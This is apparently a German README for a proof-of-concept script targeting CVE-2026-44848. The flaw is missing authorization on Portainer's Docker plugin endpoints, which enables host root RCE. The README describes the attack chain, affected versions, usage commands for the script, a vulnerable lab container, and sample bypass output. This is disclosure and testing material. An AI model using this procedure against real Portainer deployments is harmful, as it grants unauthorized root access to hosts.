
PoC für CVE-2026-44848: Fehlende Autorisierung bei Portainer auf Docker-Plugin-Endpunkten -> RCE auf dem Host (GHSA-rrmm-9v76-h3p4). Python nur mit Standardbibliothek.
Proof-of-concept für CVE-2026-44848, eine Schwachstelle mit fehlender Authentifizierung (CWE-862) in Portainer, die es einem Nicht-Admin-Benutzer mit Docker-Endpunktzugriff ermöglicht, privilegierte Docker-Plugin-Operationen auszuführen → vollständige Host-RCE.
GitHub Security Advisory: GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (Kritisch).
Portainer setzt rollenbasierte Zugriffskontrolle (RBAC) auf der Docker-API durch, indem Anfragen über ressourcenspezifische Handler weitergeleitet werden, die Autorisierungsprüfungen anwenden. Die Docker-Endpunkte für die Plugin-Verwaltung (/plugins/*) waren nicht mit einem Handler registriert, sodass die Autorisierungsebene für sie nie ausgeführt wird. Infolgedessen kann ein Standard-Benutzer (Rolle 2) – oder jede Rolle mit Endpunktzugriff – privilegierte Plugin-Operationen direkt gegen den zugrunde liegenden Docker-Daemon ausführen:
POST /plugins/pull — ein beliebiges Plugin aus einer beliebigen Registry ziehenCAP_SYS_ADMIN und Host-Pfad-MountsPOST /plugins/{name}/enable — Docker führt das Plugin als Root auf dem Host mit diesen Capabilities aus → vollständiger Zugriff auf das Host-Dateisystem und gleichbedeutend mit Root auf dem Docker-Host>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0Der zentrale, sicher reproduzierbare Grundbaustein des Fehlers: ein Standard-Benutzer (kein Admin) kann die privilegierte Docker-API /plugins/* über den Portainer-Proxy ohne Autorisierung erreichen. Dies geschieht Ende-zu-Ende gegen eine reale verwundbare Portainer-Instanz:
POST /api/users/admin/init (toleriert 409 + fällt auf Login zurück).bob, Rolle 2) und toleriert 409, indem sein Passwort zurückgesetzt wird.POST /api/endpoints, falls keiner existiert) und gewährt bob Zugriff über PUT /api/endpoints/{id} UserAccessPolicies.bob (der Nicht-Admin-Benutzer) an und ruft GET /api/endpoints/1/docker/plugins mit dem Token von bob auf.# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
Erfordert nur die Python-3-Standardbibliothek. Die TLS-Überprüfung ist deaktiviert (selbstsignierte Laborzertifikate).
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
Nur für autorisierte Sicherheitsforschung und Tests. Der aktivierende Schritt (POST /plugins/*) kann Root auf dem Host gewähren; dieser PoC endet beim Nachweis des Autorisierungs-Bypasses und aktiviert kein destruktives/bösartiges Plugin. Nur gegen Systeme verwenden, die dir gehören oder für deren Test du autorisiert bist.